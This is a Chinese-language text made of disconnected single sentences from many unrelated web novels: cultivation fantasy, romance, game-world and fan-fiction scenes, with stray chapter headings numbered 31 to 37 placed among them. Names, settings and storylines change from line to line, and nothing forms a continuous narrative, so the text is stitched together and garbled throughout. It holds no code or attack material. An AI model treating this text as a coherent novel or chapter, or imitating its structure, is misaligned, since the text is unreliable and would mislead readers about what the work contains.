武媚依旧没有开始,而是她自己也不知道为什么不想让叶寻欢死。
白猿听得懂人话,见张入云要去正东方向的前辈仙人居处,不由有些惊恐,它昨夜夜行采摘异果时就从到的彼处,只是自己夜闯仙人故居,险些还中了禁制,知当地主人厉害,怕自己前往会被对方叱责,当下脸上却有些作难。
第一卷 第31章 还是你云哥
后来被救活,再回想的时候,认为绝对都是幻觉,他的为人那么好,就算死了,那也是上天堂份,跟地狱有个毛关系。
八岐大蛇的八条尾巴和八个巨大的蛇头,在百米长的巨剑下面毫无反击之力,甚至连逃跑的能力都没用。
他那九颗脑袋同时开口,声音重叠在一起显得诡异无比,更透着深深的寒意。
“闪电也不过如此而已!”杨任抬起下巴,仰首朝天,轻慢地说道。
“早晚有一天,我要把我们龙家人血债,全部都奉还回去。”龙心研一字一句,斩钉截铁。
“转~”杨任用意念逆时针旋转魔彩伞,随着魔彩伞的转动,虚空发生扭曲,遮罗黑洞的旋转速度逐渐放慢,最后停顿了下来。
上次交流大会上的表现,已经震撼了杨旭东,其实他也想结识谢雨婷,可惜没有那个机会和缘分,所以事情值得搁浅,可是现在,谢雨婷的这个信号,仿佛是在说明什么,只是杨旭东一时之间还没有想到而已。
也就是说他们现在距离地面越来越远,此时距离地面的垂直距离应该在五千米左右。
如果周鸣去找霍尔店长帮忙,应该可以拿到留在维特罗斯帝国的“推荐信”。
“你干什么!”西施心头一惊,赶紧伸出右手,一把抓住了她的手腕。
与此同时,一旁的另三名黑衣武士见项烨先发起了进攻,连忙分做三个方向挺剑朝项烨刺了过来。
绕过大厅西边的侧门,便是餐厅,此刻尚未开席,人并不多,大家都聚在舞厅那边了。俊美侍者见他们落座,便在高脚水晶杯中注了香槟,恭敬端上。慕容画楼熟练地拿了一杯,缓缓品着。
?这一段信息,显然是來自于那个叫雄儿的少年,他的身份,乃是一位贫穷的神界少年,如今的他,乃是神州故土位面的拥有者,而这一段信息对应的时间,陈毓祥也已经知晓,乃是十万年前。
或许是方义的命令起到了作用,那个红雨衣怪人缓缓地将身后转了转了身过。
“在我的柜子里还有一些,都给你。”吴迪说着从自己的卷柜中拿出一些单据一并递了过去。
所有职业中,弓箭手的射程最远,因此引怪的任务就只能由凋零来负责了。
他暗中高兴,不过是瞧着她自作自受。将自己逼入陷阱的滑稽。他估计越想越觉得好笑。
“妈的,今天算你走运,等我解决了那个追来的家伙,再来处理你。”放开挣扎的周芷若,拿出一把手铐将周芷若拷车里,当然这个手铐是他们自制的。
老三此时已近知道,自己应该就是被此人一脚踹下来的,脸上顿时一阵发红,他一个堂堂的六级修士,竟然被人一脚踹飞了,并且自己根本就没有发现人家怎么动手的。
月前,拜入紫元宗门下修行的萧涵月传讯家族,言及自己近年来修为大涨,要为日后开辟紫府提前做足准备,需要家族遣人相助。
妈妈疑惑地回头一脸不解的说道:“怎么可能……”正在这时,听到动静的爸爸回头看向了妈妈,爸爸的嘴角甚至还在流着鲜血。
“不行!”两人异口同声,要她们去等着,怎么可能?要是出了什么事怎么办?她们一直等不到怎么办?
两人瞬间冲击在一处,公孙钰手中是不知名材质的长剑,菟夭夭的落了灰的桃木剑相交,竟然迸发出一阵火花。
轩辕婧见此很好奇,到底是什么事,竟然让她的冰山皇兄心情这么好?
现在,菟夭夭需要得到神魂,让自己完整,能独立对付程序猿,圆周率也需要本源之力强大己身。
张天元点点头,心里已经知道,詹森他们现在执行的就是电影开头的那个任务。
云山想知道这是怎么回事,要嫁给姜云黎,她不开心嘛,等颜落和他解释的时候,云山让苏祁轩和外面说一声,自己和颜落去追赶。
“不是挺有目标的吗,所以不要用自己的脑袋去想了,克里斯前辈会让你累到没空去想那些乱七八糟的。”高之野似乎意有所指。
老人领着三人进屋,屋子里几乎看不到现代的家用品。古色古香的家俱,大气的屏风!无一不是古董。王胖子都在想自己能不能拿下这些好东西。
伯尔伯爵写的那篇认罪声明成了审判他的有力证据,令人深思的是,法师协会在宣判时隐去了附魔装备的供应方,没有正面提到凯撒。
可是一来呢她把钱财看的并不是特别重,当初她努力挣钱,也就是想叫家人过上好日子,现在她的目的达到了,她已经心满意足了。
下班的时候,所有人都筋疲力尽了,走路都摇摇晃晃,和陈凌医生值夜班虽然兴奋,虽然刺激,可也是耗心神耗体力的。
大伙儿笑了一会儿,才后知后觉到这是在刘方氏的灵堂前,笑成这个样子,确实有点说不过去,便都赶紧噤了声。
刘栓柱听了,赶紧往地里跑,跑过来的时候,正好看到他娘抬手要打边四娘,他赶紧把他娘的手抓住了。
第一卷 第32章 少主面前的红人
不得不说,秦枫今天翻手为云、覆手为雨的手段,的确让雷云大开眼界。
这种神丹,完整是由精纯的玄力凝结而成,对于林峰来说,完整就是吞噬的良药。
“没事没事,让他们回去休息吧,以后还有机会品尝呢,不差这一会,潇潇,我做了一些点心你带回去吃吧。”闫若俨然成了一个贤妻良母的标准,手里提着打包好的点心,似乎早有准备。
秦枫有些尴尬:“我是被人抓进来的。”他将遭遇杨铭、庞千钦等三大武王伏击,和玄樱失散,被吸入破妄塔的过程说了一遍。
但此时没人注意这么多,只觉得听着自己也很熟悉的歌曲,心情也回到了自己早起时的状态。
“没错,今年韩家的兄弟两个,算是倒了大霉,尤其是韩熙,几乎成了废人,韩百城见了,恐怕要大发雷霆。”一个苍老的声音传来,蔺源戴着灰色斗篷,出现在秦枫身边。
这雷球威力极大,蕴含磅礴到极致的雷霆之力,浩浩荡荡的雷霆威压,笼罩方圆千里。
好在不用跟雌性晴天蟒交配,像大祭司这么傲娇的人,让他跟雌性晴天蟒交配,还不如直接杀了他。
“阿呆,你觉得公投结果是什么?万一大家都想要留下来就难办喽!”夏清灵坐在陈然身边,笑眯眯道。
“恩?你什么意思?”井泽修人听到雷的话后就是一愣,皱着眉头问道。
她惊诧地回头,瞬间便撞上了一张宛若谪仙般的男子面容,正是那抚琴的白袍男子,此时,白袍男子的双手正紧紧地环绕在她的腰上。
“既然你知道我是谁,哪还敢搭我肩膀,活腻了你?”洪哥凝视着李新吼道。
不对,她既不是妖,也不是魔,因为在她身上丝毫感应不出任何妖和魔应有的气息。
车内的维吾尔族和回族玩家,显然是听过夏擎枫的大名,亦看着夏擎枫点了点头。
终于那道一直停留在自己身上的视线随着叶凯成出门而离去了,徐佐言对着关上的门吐了吐舌头。
而他们两的提前到來,沒有通知任何人,连叶凯成都不知道叶爹地会一同前來。
好在贺兰砜和沈重山都明白楚延的心思,一时间也没人出声打扰楚延的回忆。
二舅妈受到老爷子的教训,连忙红着脸,低下头不敢再说话,只能在连连点头称是。表示自己听进去了。
她的眼里喷射着一尺多长的橘色光芒,全身爆发出刺眼的橘色光辉,生死之间的爆发让卡罗尔彻底的驱散了作用于灵魂的诅咒。
下一秒,顾念余笨拙的抱住了萧景的双腿,某处紧贴着他的裤子。
见她丝毫没有反应,孙管家不耐烦的蹲下身子,把她翻过来摸了摸她的脸,居然是烫的惊人。
林若水纳闷的走到诊桌后坐下,低头看了看自己去洗手间之前放在桌上的手机,感觉似乎位置不太对?
他离她还有一段距离,她僵直的身形以一种不自然的姿势不断后退。
能遇到龙渊和简媛这样的朋友,对苏晨和林若涵来说也是一种荣幸。
坐在轮椅上的海拉看见贺兰砜后,眼眸动了动,总觉得这个男子很眼熟,却一时之间又想不起在哪里见到过。
“你和景岩说什么了?”沈慕辰忽然冒出一句牛头不对马嘴的话。
不仅仅是陆安,就连边上的姜灵,司空离和宫樱雪也感受到了温度变化,感受到了寒风变强。
轩辕青霜给了每人一套衣服,都是万灵大陆的式样,沾有这个世界的气息,这是轩轩子也就是后来的轩辕剑剑灵扶桑,存放于手镯空间的。
她的前半句,我听着还算正常,可是当我听到她说张芳会被人封印的时候,我的道心特么的瞬间崩塌。
我现在身上还穿着陈威的旧衣服,一条破洞的牛仔裤和一件黑色的T恤。
再看右边那人,则是身形瘦高,似是一条竹竿,面相猥琐好色,手拿一对铁爪钢杖。
夏长陵听到后,虽然内心也是不大相信贺宁的说辞,但是也不好过分强求。
艳子及时赶过来一把推开了宋忆城,才救下了宋忆桃,被推到的宋忆城倒在地上,绝望地大哭起来,他哀痛自己的遭遇,哭的撕心裂肺,还一声声喊着他要回去。
肖家养着一条大黄狗,见人端来了食盆,一头就扎进盆里狼吞虎咽的吃了起来。而此时,肖家一家也围在院里的餐桌上吃起了饭。
可是面前却是一片安静,安静到令他心碎。他抓着胸口的衣襟,心脏似乎被紧紧攥住,一呼一吸都要用劲全身的利器,等缓过了情绪,里衣被汗水浸湿。
处置手段也也是混乱不堪、好点的还有个夹板和包扎,有的士兵伤口竟然还裸露在外边,他们身上穿的衣服都是战场上穿的衣服,根本没人组织更换。
仔细一看,这是一枚印有龙国标志的洲际导弹,它的目标正是喜马拉雅山脉头顶上的那块超级星体碎片。
这则消息若是被证实,对于龙国在国际上的威望将是一个致命的打击。
“副院长,可是那猎兽大赛也即将开始了”大长老无名皱着眉头说道,如果禁止学员进入森林里锻炼,那么对猎手大赛来说影响也是在所难免的。
“是师父回来了!”妙玄告诉师弟,在一旁眺望山顶的红线张大了嘴发呆,而常世雄则怀着虔诚的心情望着那越来越近的黑影。
就连学校的校长邓布利多校长都不能保证自己对学校的密室全部知晓。
“会不会是她故布疑阵,又设了什么圈套,想引咱们上钩呢?”阿史那云猜测道。
第一卷 第33章 他的心窝
此时的左髭丈八如同上古走来的魔神,拳碎山脉,手拿星辰,力大无穷。
随着血将军的缓步走来,把路堵得水泄不通的喽啰们轰然散开,不管是普通的喽啰还是李豹、阴虎这样桀骜的觉醒者们顿时都神情一肃,齐齐恭敬的低下了头颅。
一个中级世界,又能抵挡死亡列车那么长时间,可见世界内应该有某种神秘宝物。
一般人看到这些字,一定会走得远远,毕竟没人无聊的去动电,可谁又知道,这扇门后是通往渗透课的入口。
连吐三口鲜血,胸骨断了四根,夏雪风雷被踹得岔气,靠在石头上一时之间起不了身。
业内也是被Time娱乐的这番举动搞得十分轰动,不少艺人或者娱乐公司纷纷暗中打听消息。
随后,陈平让人注册了一家海外离岸公司,名叫星火投资公司,注册资金为4000万美元,挂在陈氏控股集团名下。
到了后半夜,如玉爬在石头上打瞌睡,迷迷糊糊间,听到旁边传来断断续续的声音。
由于这一原因,战场形势也发生了一些转变。华中防区开始采用守势,渤海防区逐渐转换为攻势。
这时苏全也顾不得隐藏,吩咐众人使出妖力,弃马奔行,三十六息便到了铁械胡同。
那犹如从耳边响起的娇媚之声,瞬间让在场绝大多数的男性传承者脸上露出了迷茫淫荡之色。
常打四川人高举着手,迅速说道:“是他叫我们来的,是因为一个尼姑的事。”说话间,另一只手指着尹当。有人带了头,其他人也急忙迎合着,纷纷点头认同常打四川人说的话。
不意预料中的下三滥手段把并没有如期出现,窗子只是很干脆的被人推开。
要说缘由,除了师父洛冉初闭关不出以外,唐心湖基本上就没在正点吃饭的时候出现过。
四人一直闹腾到半夜一点多,喝酒、唱歌、蛋糕仗、真心话大冒险、摇色子,几乎全都玩了个遍。
“那皇上呢?”既然皇上已经把皇位传给了君墨熙,那他人去了哪里?
许辰皱了皱眉,这剑光毫无疑问是姜千羽释放的,其威力早已超越了寻道境,达到了见道甚至得道境的程度,可以想象这是姜族强者留给姜千羽的一道保命神通。
却见白胡子海贼团的众多核心成员、红发海贼团的高级干部们都汇聚一堂,貌似已经做好了开班宴会的准备了。见凌云飞了过来,两位四皇齐齐起身相迎,嘴里还不停的说着开办宴会的一些琐事。
凌云知道自己不能再装下去了,否则就太假了,迅速睁开眼睛,向窗口方向瞟去,却见一道熟悉的身影映入眼帘。正是当年在凤凰谷救过自己,又将自己和花火带到天和医馆救治的赵怀安。
但是,乌索普是一个普通人吧?可是这货也是和路飞他们一道,沿途各种被揍得生活不能自理,如果换了其他世界的普通人,早已经坐上轮椅光荣退役了。临走时再由娜美推着,唱一首血染的风采,画风绝不违和。
“这不是蛆,我放的是毛毛虫,我不骗你。“陆无涯又露出了委屈的表情,显得很可怜。
国与她之间,他总是将她排在前,而她,却只将他放在心间,比起朝中事务,她更担心他的身体会吃不消。
“对了真嗣,你接下来也会打算挑战成都联盟吧。”大木博士问道。
毕竟我对加玛帝国并不熟悉”白雪客气的说到,说完还对着雅妃身鞠一下毕竟这是一种礼貌。
在众人没有机会察觉的过程中,兰溶月在自己和白羽的面前铸造了一道冰墙,既能看到一切,又能防范偷袭。
才刚挪动脚步,夏侯沉霄逼迫过来,脸色很难看,仅仅只是停在面前,已经让温玉蔻呼吸困难,总觉得下一刻他会如同掠食者将她扑杀。她又没有做错什么,只是看了别人一眼,他……至于这么生气吗?
“刚才我们试过了,的确不行,想要飞出,却被一屏障阻碍,硬生生的给弹开了。”精卫点了点头,很赞同肾水仙所说的。
全心全意扑在比赛上的众人,都没有发现杜舍的异样,于是都没有放在心上,都进行观看真嗣和叶越的比赛。
“老婆大人请息怒,你也知道,距离终极任务那是越来越近了,既然你老公已经被忽悠的上了套,那总不能半途而废吧,你也不希望有一个临阵脱逃的老公吧。”为了稳住月儿的情绪,我也只能实话实说了。
真嗣在吃过晚饭后就带着草苗龟开始在常磐市的大街上开始溜达了,期间听到远处传来一阵爆炸声,真嗣知道是神奇宝贝中心发出的,当所有的人都赶去时,真嗣却不为所动,朝着另一个方向常盘道馆的方向走去。
但就是这位外来的蛮荒领主,依仗手中有着圣城之前所赋予的指挥权,不仅率先发动了对于普罗泰亚军团的突袭,让天启守卫的这次制止失去了意议,甚至于随后还蛊惑狄古马特一方选择了继续开战。
第一卷 第34章 会是甜的吗
“也就是说,它是经过史迈斯到达伤蓝星的必经之路,任何人想霸占伤蓝星都必须拔除这里的武装威胁,否则他们将面临两面夹击的窘态。
“九队长,”圆脸海盗有些紧张的面向那个骷髅脸,躬着身体谦卑的道,“这次的赎金收取就要拜托您和您的手下了。
“秦公子,我们也知道你最近以此棋局营生,此时交出棋谱也断了你一些财路,这里有一百两银子就权当补偿吧。”说完递过一百两银票。
“我不知道,总长先生。”高倘眨了眨眼,忠厚的黑脸有些不安。
“地球?”雷自鸣有些吃惊的道,“很贵吧?”他身出手想试试假发的手感,考虑了一下还是退却了。
汉尼拔家族排在了第一,真让人意外,第二个则是汉尼拔家族的竞争对手,范安工业,第三个则是一家试图收购汉尼拔家族第二飞船制造公司的一家犹太银行切尔西商业银行。而切尔西商业银行则控股了范安工业。
“无痕不敢!刚才失态,实在是因为师叔所说太让人意外了。”无痕尴尬不已的行了个佛礼,虚云大和尚是佛门最德高望重的高僧,毕生没打过半句诳语,对如他的话,无痕到是不敢不信。
“嘶!前几天有点事耽搁了,今天过来看看你。”秦飞眉头一皱,手臂有点疼。
至于典韦,在听到赵云这一声吼之后,也是清醒了过来,瞬间意识到了什么。
其实,如果王猛此刻处于巅峰状态,什么风都不在话下,但现在问题是,王猛实力还没有恢复过来,想要弄出赵康想要的大风,并不是一件简单的事情。
不出意外的话,应该会在瑞德曼斯附近,他长住酒店,估计也不会去太远。
刚开始苏承颜根本不当回事,但没想到,哪怕哥哥没有学过管理, 都轻易执掌了公司,甚至做出了他执掌时没能做出的成绩。
闻言,苏奕苏和两人将先前在秘境中加急准备好的录影,展现给众人。
穷人子弟再无出路,甚至落榜也不会得之该有的名次早被人取缔。
但男人却不觉得有什么不对,反而莫名的有种直觉,他可能莫名其妙的搭上一个大佬了。
干掉了一个敌人还会有第二个,第三个,按照莫规说的直接干掉首领才是最优解。
直到氛围达到最浓烈最狂暴的一刻,整座高天原突然变得无比死寂。
各有千秋,将服饰的美展现得淋漓尽致,人美衣也美,能最大程度发挥服饰美的上限,让台下的人忍不住想这件衣服如果穿在自己身上的效果。
等观众们观看完整的节目视频以后,他们才能得知这段对话和字幕的前因后果,可是有很多的观众只看预告片,就已经对这些艺人带了有色眼镜,一下子就觉得这些艺人有些面目可憎。
沈婳原以为是迷药在肆意为非作歹。却不想是过嘴的吃食有猫腻。
许君集早早的来到的会场,琴声传出那一刹那,他便认出了那抚琴之人便是自己朝思暮想的佳人。他情不自禁的往前走了几步,眼睛痴痴的望着纱帘后的倩影,口中喃喃的唤着佳人的名字“依依”。
“没什么值得高兴的……”七彩神尼淡淡的说,体表的神光收敛进体内,还是那副风华绝代的面容。
叶洛的气海中,也在同一时间发出轻响,随之,那颗雷仙元星体的体积轰然扩张十倍,追赶上了五行仙元星体的体积,变得势均力敌。
这个位置,他现在也有些渗得慌,怕这角仙阵会突然发作,但是若离得远了,到时候有人从里面出来的话,自己第一时间也根本看不到。
元徵没有否认,等于说是默认了,元庭倒抽一口凉气,他没想到,要置自己于死地的人,竟然会是那个表面上尽心尽力帮助自己的人。
半个时辰之后,叶洛、唐怜雪已经站到了停靠在万剑岛码头的那艘海船上。
站在一座面积巨大的高耸沙堆上,眼中除了一望无尽的赤沙,再无别物,哪怕神念幅散十万里,也是如此,让人油然生出一种孤寂而绝望的感觉。
离冥皱了下眉头,闭上眼睛感受着桃子身上微弱的灵力,可别说灵力,就是离他们最近的一缕人类的气息都在十里之外。
中年武者站在大殿前的台阶上,和曾仇等人保持了一定距离,居高临下的扫了一眼曾仇等人,最后目光落在叶洛身上。
巨大的声音响动着东岛之上,震慑着人心,原本惨败的东岛众人,更是面色苍白。
宫喜鹊说:有鱼有肉,有鸡有鸭,还有我最爱吃的炒粉皮,最爱喝的圆子汤,口水都流出来了呢。老大,我就在这吃呵,不去你家了。
便是在这时,一道空灵至极的声音却是忽然传入到了龙易辰的耳中。
先是龙易辰赶到了战斗发生的地点,然后不知是因为什么原因,猛禽佣兵团居然是在他和那两个佣兵团的夹击之下迅速溃败,更加令人惊讶的是,猛禽佣兵团的团长猛家乐却是不知道是因为什么原因而生生被擒拿。
王子安说:那我倒要请老师,帮我说一说这个理,我能拒不执行吗?
第一卷 第35章 禁止龙阳
贪狼星的副官见士气低落,大吼了一声便提着侍官长剑勇猛地冲了上去。他身边的几名士卒受其鼓舞,也跟随其后,为其掩护。
说起来,山大电竞社是泉城电竞的发源地,甚至可以说是泉城电竞爱好者们心目中的“圣地”,但其实泉城电竞圈子一直就分成两个派系。
就在这时,奇迹发生了。人偶奥菲娜在没有任何人控制的情况下,竟独自走到了她主人自尽的海崖边上。
出来之后,秦俊熙就开始在自己的这个地方寻找他乞讨来的钱财。
这时候,霏娅缓缓地睁开了眼睛,露露看见后欢欣地绕着她飞来飞去,差点没把她再次绕晕过去。
玉兰清抬起了极修长暴击的右腿轰然爆发,附逆着烈风狂啸,如同下山猛虎的虎鞭,威势迸发,如炸雷一样狠狠地鞭击在柳拓的胸口之处。
那烈火呈现出纯青色的火焰,黑色烟雾四散飘逸,周围的视线看得格外清楚,逆天和那充满这浓密杀气的白~浊眼神朝着柳拓看来,桀桀爆发出笑意。
郭纯之所以这么说,那是因为郭纯看到苗扑在说话的时候手正在弄那张纸。
死歌一边走,一边放q,炸着影流之主,同时中间衔接着普通攻击。
“嘶!”为首男子吸了口冷气,过度的惊惧让他连身体的疼痛都忘却了,他怕了,曾经他连死都不怕,可是他现在既惶恐又害怕。
而手镯无独不巧,被陈奇扔到了蒲团中央的凹槽里面,而且十分的契合。
贾鹏感觉还挺好玩的,一路走一路烧,所到之处,基本上所有的树都被他给烧秃了。
从进入千羽传媒开始,姜瑜便教了他很多,也曾告诫过他不用过于追求稳健,但这些年王铭似乎进入了害怕失败的死循环里,每部电影都是怎么拍比较安全怎么来,这让他的作品有些像是工厂里的流水线创作了。
看那来电显示,便知道是央视的座机电话。晏菲清了清嗓子,不动声色地按下了接听键,心儿却扑通扑通地跳到了嗓子眼。
偌大的一间大厅,就简简单单放着这样一件盔甲,如果它不是宝贝,没人会相信。
在研究中,它被证明是一个具有活性的物体,只要将人的血液盛放其中,圣杯就会向血液中释放虫卵,而再度摄取这种血液,即可获得“内在之眼”。
每次白亦拿到制作人的歌曲,基本都会有音乐团队帮忙做一到两点的改动,毕竟要更契合自己的风格才行,不过这次大家的意见似乎处处相悖,以前很少发生这种事。
“放你妈的屁!你不说是吧?好,历城人有的是办法让你说出来,先给你丫梳梳皮子!”言还未尽,秦熙一把将丑胖子丢到地上,按着就是一顿臭揍,噼里啪啦的一顿下来,江陵王的胖脸又胖了三圈,肿起来好几个包。
这个观点跟团藏不谋而合,所以团藏这才私下运作了一番,把阿斯玛送到了前线。
林清和起初坚决不答应,但耐不住赵氏在他耳边软磨硬泡,只得松口答应下来,可没想到赵氏前脚把他身上的绳子解开了。他后脚就跑出去,赵氏在厨房看到了,回去跟林清和说了一声,她出去追林志武,要等会再回来。
今天听说去了外面好几天的梅宜轩回来了,他颇为惦记,怕事情不顺利,就出了厢房来到正房门口,想听一听这次是否遇到什么麻烦,却听到了妻子、儿媳和梅宜轩之间的对话。
但是等到派去和约瑟芬先生商谈的人回来后,刘识听到约瑟芬先生的答复后,心情顿时就不美妙了。
这个倔强的丫头又一次和洛云一起跟着队伍出发了,公孙羽赶都赶不走。
pps:上边这段ps可能会让大家觉得莫名其妙,因为那是我修改之前写下的,当初写的情节,就是星罗亲自杀死龙姬之后,又大开杀戒得杀光了整个扶桑使节团。
那汉子还待再战,忽然人影一晃,腹部丹田猛然剧痛,随即熟铜棍“嘭”的一声坠地。
如果是后者的话,他应该去帮一把才对。不管怎样,如果是修真者被鬼怪压着打,在他来说,实在是做不到袖手旁观。
吕布已明白徐荣地意思,不由得微微一笑道:“我们走。”秦军呼啦啦的散开。撤向远处。
所以李研虽然穿得暴露却未考虑到自己那对尺寸不凡的此刻尽在唐劲眼底。
刘识很清楚,以王定国贪财好利的个性,只怕不会轻易同意减轻赋税。
像聿庚和风花,在场除叶子洛外修为最高的!他们更是清楚地感应到了那股子从没来接触过的无形的时间音流。
说完,邬昊便是退在一旁,和林萧对视的目光中,一丝得意一闪而过。
“近段时间工作很忙,没联系都是我的错,说吧,怎么补偿?”杨彬倒是很大度地和蒋悦晴说了一下。
这几个牧师大惊,萧逸那攻击也太可怕了吧?一拳头就砸碎了自己的盾?
成海岸惊魂未定,他一把拉住安义明的手,“情报是一卷胶卷,为了以防万一,我沒带在身上,我放在汇中饭店的酒……”。
在这样特殊的时间,特殊的场合,特殊的人物面前,她是绝对不能输给叶涵丹的。
突然,大门的方向传来一阵喧哗之声,旋即便是铛铛的撞钟声响起。
面对如此诡异凶悍的神秘龟公,叶千锋还能说什么?他该说什么?
于是乎,就算山田栴二再不乐意,也不得不调集军队开始强攻无锡了。
当三武成军回过神来的时候,这片空地变得是如此空旷,除了他们三人之外,什么都没有剩下。
李木宇和秦瑶赶上來自然引來了服务员礼貌的询问,可是秦瑶这会可顾不得什么礼貌,直冲冲的朝着胡泽走去。
陈凡,齐天大圣孙悟空,卷帘大将沙悟净悠闲的走在了西峡森林之内。
第一卷 第36章 亲自去接媳妇
开口说话的男子,从包里掏出一叠照片,将其给了首座的林秋生,随即回到自己的位置上坐下。
秦宇没有理会安尼奥的狂笑,体内的念力疯狂运转起来,凝聚在拳头处,那里,缓缓的出现了一道一尺左右长度的金色寸芒。
“难道还不死心?再挑衅本尊,本尊直接将你的本体抓出来扒皮抽筋!”他哼了一声,沉声喝道。
当李浩解析出这一切的瞬间,他忽然便觉得,眼前的诡异波动规则,似乎已经失去了那种诡异的特质了。
天翼之主,虽然还未绑定神灵武装,但已经有了目标,迪斯博得世界的天翼种全体,她们原本就是神位超级强者战神的十八片羽翼,只有聚集在一起,才能爆发最强的力量。
在一片墨绿色的光华之中,洞窟内的某块巨石顶上,一只原本沉睡中的怪物醒了过来。只见它睁开双目,眼中露出了人性化的色彩。
这次幽风做的确实很不错,如果没有提前发现……神位面直接攻陷型月的概率不大,但前所未有的重创是肯定的。
我与宇宙聊聊时,她只是她,只有我自己。而我谁也不是,什麼都不是。这是我在三十六岁时悟出的道理,我的道理。
马赛还是禁不住想要期望站在她身边,想要期盼她能够依然与自己在一起。
至于龙种怪物很罕见?这种事情根本就难不倒客串心理医生的三位。夜子云无论是作为召唤兽进行召唤的精灵还是那叠封印卡之中的宠物,其中都不缺乏龙系的存在。
她看着权少腾的眼神,那一双漂亮但褪去了感情的眼,莫名让人有一丝惧怕。
“我不回。”姜羲又往嘴里丢了一块桂花糖,看都不看姜娥众人。
温父当时已经听儿子说了地动那晚发生的事,原本心里不情愿,可看在几个孩子的份上,还是让他们留了下来。
况且工作室也不是那么好加入,只有拥有过人的才能才会被招收,像红尘这样随口就简单的招收成员,只能说,这个「豪盟」是个不入流的工作室。
当然,这历史上废史立牧的刘焉又岂是没有野心之人,要是没有野心,他就不会让张鲁镇守汉中,切断朝廷和蜀地的联系了。
韩岩不管他们,任由笠木匠指挥众人干活,而他自己则注视身边这个看上去和自己年龄相仿,相貌有六分相似的胞弟韩说。
当时,你从我们上官家飞走,我心如死灰,当你又回来的时候,我感觉自己的心又活了过来,你敲我闺房房门的时候,我欣喜若狂的跌倒了两张椅子,打烂了一个茶杯,我,我当时真的很开心。
为了不让国公起疑,苏瑜想过将自己弄成重伤,但她没料到,会重成这样。
这屋子里当然是寒酸的,基本看不到什么摆设,床榻也是冷冰冰的。但她并不在乎,反而想到自己下马车时,那些失控外泄的巫力,觉得这种艰难生活也该是一种修行。
叶诤没有去计较萧红钰逻辑前后的明显漏洞,他转而看向屡次想要搭话却屡次不成功的叶朗。
“他们在骂什么?”我问向了秋蝉,秋蝉则是问向了旁边的翻译官。
“你管我哪里来的?想死我送你一程!”苏婉一展销魂剑,凶狂道。
“看来上官兄是官运亨通、要青云直上了!以后想约你喝酒舞剑,可是更难上加难了!”邱箫笑道。
“叶飞,你回来了,你复杂后备资源以及船舱的防御工作,秦雅你负责敌情探报就行了,战斗交给我。”公孙仙儿吩咐道。
“那是当然。这个世界上能出现一名领悟天地之力的结丹境界高手,何尝不能出现一名身藏逆天绝技的天才。”叶飞苦苦的笑道。
玲珑塔自中央的大阵闪烁起森寒光芒,两颗最顶尖的魔晶石立刻被这股白光所吸收,碧玉辉煌的玲珑塔立刻更加鲜活起来,灵蕴仙气不但喷涌,让整个仙塔好像活了一样。
“这究竟是怎么回事?”鄂火云天一脸大写加粗的懵逼,百思不得其解。
“不想怎样,只不过想请大人下马一叙!”那人仍抱着宝剑傲慢地说。
“好强的气息。至少进入了洞虚境界。”叶飞发现这气息来自三个方向。
他的眼中,世界呈现出本源的能量状态,并不仅限于视力上的景象。
“果然是孙悟空,这下有的打了。”因为向盖伦发起突袭,所有的人也终于看清楚了目标的真容,赫然是一只狂化的猴子。
陈虎开了他的车,那是一辆奥迪A6,这的车在华国遍地都是,一点都不显眼。反倒是周军的福特猛禽块头太大,开到巴田市的会很显眼。
正说着,这帮人也就慢慢平静了下来,其实也不能怪这帮人,毕竟很多都是初一,刚上来混没有见过世面,其次就是人家好心帮我我也就不能再说什么了。
他还真是个固执的,按了差不多二十分钟,才垂头丧气地转身离开。
神风学院广场之上,上万修炼者在为十大高手送行,死亡绝地之行无疑万分凶险,人们对十人表示敬意的同时,只能祝福一声。
没有人能够理解我当年是怎么过来的,那些在短短几个月内发生的一切,让我永远忘不了放不下。好好的一个家,转瞬就分崩离析了,我想找出整个事情的真相,有错吗?
第一卷 第37章 分家
哪怕最近她对唐锋有所改观,但影视圈这个行业,的确是天海集团之前并未涉足过的行业。不管是经验还是其他方面都不太足,唯一不用担心的也就是资金问题。
对于白玉京来说,这已是十三年前在青龙会中遗留的疑问难题,到了今天终于解惑。
男人的个子不高,一米五几的样子,白净的皮肤松垮垮的耷拉着,一望而知极度缺乏锻炼,一副被酒精长期摧残的无精打采的脸上有着两只昏黄的眼珠,在鼓起的眼袋衬托下显得特别难看,似乎对什么都不满意。
不过转念一想,叶天的身份很不一般,可能根本就看不上被罪恶缠身的海盗船。
“只能砍掉手臂了。”无为道长抽出长剑道,但他却不敢替邓一雷拿主意。
叶天虽然最终没能跟她走到一起,但是心中的那份情却是永远都挥之不去的,所以不管怎么样,她不想看到叶天出事。
说实话,这个孩子模样的鬼魂有点摆脱了李沐对鬼的认知,正常来说这种没有实体甚至没有灵智未开的鬼魂不应该可以接触到任何实体。
……这不一看就是谁有空的时候上去发的吗?连什么赢了不骄不躁,输了再接再厉的套话都没有,根本不存在的。这本来就让很多同行看不过眼了,现在更是酸酸地拿出来讲。
退出楼梯间,罗杰先走到康复中心对面的“第一人民医院司法伤情鉴定中心”,仰着头注视着安装在门上方的监控摄像头,举起手机连拍几张。
白眉老者一直摇头不止,胖光头已经陶醉的想仗剑走天涯了!特别是陈珏唱起那几句“啦啦啦啦……”副歌部分的时候,很多人已经忍不住开始跟着唱起来了。
敖钦话落立刻就有两个非常强壮的兵士走了进来,冲着陈珏不由分说就按住了,粗鲁的拽着陈珏就往殿外走。
“来的好!”长得像门神般的两名黑汉见状,同时大吼着举着粗粗的木棍迎了上去。
直到四人一起来到寺庙,日真子发现贼人眼神经常有意无意的看身后,他才推算出来人可能藏在佛塔之内。但日真子却没想到这塔竟然如此神奇。
“废话,当然是翻墙跟你出去的。”颜素问扯了扯身上的新娘装,虽只是件中衣,但上面却用了上好暗线,绣了十分精致的装饰纹样。这些衣裳,都是他送去的,他自然认得。
当年兵败的原因,他们是怪这个怪那个的,找出了无数理由,可归根结底,是侬智高部实力不济,与宋差的可不止一星半点,可谓是天壤之别,侬智高部根本没有半点获胜的可能,没有一丝希望。
陈珏指着西瓜摊说道:“虎子,在买两个!带着路上吃!”真子笑着上车,褚虎则又买了两个四十多斤的大西瓜抱上了车。随后,马车疾驰而去。瓜农掏出赚的铜钱颠了颠,然后冲着马车方向狡诈的笑了笑。
王帅帅走后,宁萌总是不放心,恨不得一双眼睛就定在铜镜上,看到王帅帅正在组里老老实实拍戏才算放心。可刚离开一会就又放不下心,又抱着铜镜看个不停。
闻言,一菲思考了一下,也只得无奈的点了点头,好吧那我就死马当作活马医了。
